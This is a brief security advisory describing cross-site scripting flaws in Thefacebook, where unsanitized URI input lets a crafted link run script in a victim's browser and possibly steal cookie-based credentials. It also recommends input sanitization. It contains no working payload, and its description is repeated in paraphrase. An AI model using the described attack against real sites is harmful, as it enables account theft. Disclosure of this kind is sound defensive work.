Thefacebook Cross-Site Scripting Vulnerabilities

Thefacebook is affected by various cross-site scripting vulnerabilities. These vulnerabilities occur due to a failure to properly sanitize user-supplied URI input. An attacker can create a malicious URI link containing hostile HTML and script code. If a victim user follows this link, the malicious code can be executed in the web browser, potentially leading to the theft of authentication credentials or other attacks.

Mitigation:

To mitigate these vulnerabilities, Thefacebook should implement proper input validation and sanitization techniques to ensure that user-supplied input does not contain malicious code.

It is reported that Thefacebook is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input. 

These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.
